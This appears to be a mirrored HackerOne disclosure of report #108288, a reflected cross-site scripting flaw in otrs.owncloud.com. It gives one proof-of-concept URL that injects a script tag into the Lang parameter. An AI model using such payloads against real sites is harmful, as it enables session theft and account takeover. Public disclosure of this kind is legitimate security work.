HexBrain

ownCloud · Report #108288

otrs.owncloud.com: Reflected Cross-Site Scripting

Validstatus
10 Feb 2016disclosed

How it was found

https://otrs.owncloud.com/otrs/index.pl?Action=Login&RequestedURL=&Lang=rue6587"><script>alert(1)<%2fscript>60730d78bc6&TimeOffset=-300&User=admin&Password=admin

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original